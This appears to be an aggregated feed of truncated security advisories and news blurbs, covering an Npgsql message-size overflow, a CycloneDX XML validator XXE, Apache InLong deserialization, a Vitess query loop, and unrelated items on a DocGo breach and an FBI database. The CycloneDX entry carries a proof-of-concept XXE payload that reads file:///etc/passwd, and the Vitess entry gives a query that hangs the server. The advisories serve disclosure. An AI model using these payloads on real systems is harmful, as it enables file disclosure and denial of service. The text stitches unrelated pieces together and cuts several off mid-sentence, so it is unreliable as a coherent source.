### Summary The `WriteBind()` method in `src/Npgsql/Internal/NpgsqlConnector.FrontendMessages.cs` uses `int` variables to store the message length and the sum of parameter lengths. Both variables overflow when the sum of parameter lengths becomes too large. This causes Npgsql to write a message size that is too small when constructing a Postgres protocol message to send it over the network to the database. When parsing the message, the database will only read a small number of bytes and treat any following bytes as new messages while they belong to the old message. Attackers can abuse this to inject arbitrary Postgres protocol messages into the connection, leading to the execution of arbitrary SQL statements on the application's behalf. ### Details Please see [this attached PDF file](https://github.com/npgsql/npgsql/files/14309386/Npgsql.Security.Advisory.pdf) for a detailed description, including the suspected root cause, exploitation steps, impact, and recommendations on for fixin...

Medical health care provider DocGo has disclosed a cyberincident where an attacker gained access to protected health information.

### Impact XML External entity injections could be possible, when running the provided XML Validator on arbitrary input. #### POC ```js const { Spec: { Version }, Validation: { XmlValidator } } = require('@cyclonedx/cyclonedx-library'); const version = Version.v1dot5; const validator = new XmlValidator(version); const input = `<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE poc [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <bom xmlns="http://cyclonedx.org/schema/bom/1.5"> <components> <component type="library"> <name>testing</name> <version>1.337</version> <licenses> <license> <id>&xxe;</id><!-- << XML external entity (XXE) injection --> </license> </licenses> </component> </components> </bom>`; // validating this forged(^) input might lead to unintended behaviour // for the fact that the XML external entity would be taken into account. validator.validate(input).then(ve => { console.error('validation error', v...

An internal email from FBI deputy director Paul Abbate, obtained by WIRED, tells employees to search for “US persons” in a controversial spy program's database that investigators have repeatedly misused.

Two vulnerabilities in this group — one in the Tinyroxy HTTP proxy daemon and another in the stb_vorbis.c file library — could lead to arbitrary code execution, earning both issues a CVSS score of 9.8 out of 10.

Deserialization of Untrusted Data vulnerability in Apache InLong. This issue affects Apache InLong: from 1.7.0 through 1.11.0. The attackers can bypass using malicious parameters. Users are advised to upgrade to Apache InLong's 1.12.0 or cherry-pick [1], [2] to solve it. [1] https://github.com/apache/inlong/pull/9694 [2]  https://github.com/apache/inlong/pull/9707

### Summary When executing the following simple query, the `vtgate` will go into an endless loop that also keeps consuming memory and eventually will OOM. ### Details When running the following query, the `evalengine` will try evaluate it and runs forever. ``` select _utf16 0xFF ``` The source of the bug lies in the collation logic that we have. The bug applies to all `utf16`, `utf32` and `ucs2` encodings. In general, the bug is there for any encoding where the minimal byte length for a single character is more than 1 byte. The decoding functions for these collations all implement logic like the following to enforce the minimal character length: https://github.com/vitessio/vitess/blob/8f6cfaaa643a08dc111395a75a2d250ee746cfa8/go/mysql/collations/charset/unicode/utf16.go#L69-L71 The problem is that all the callers of `DecodeRune` expect progress by returning the number of bytes consumed. This means that if there's only 1 byte left in an input, it will here return still `0` and ...
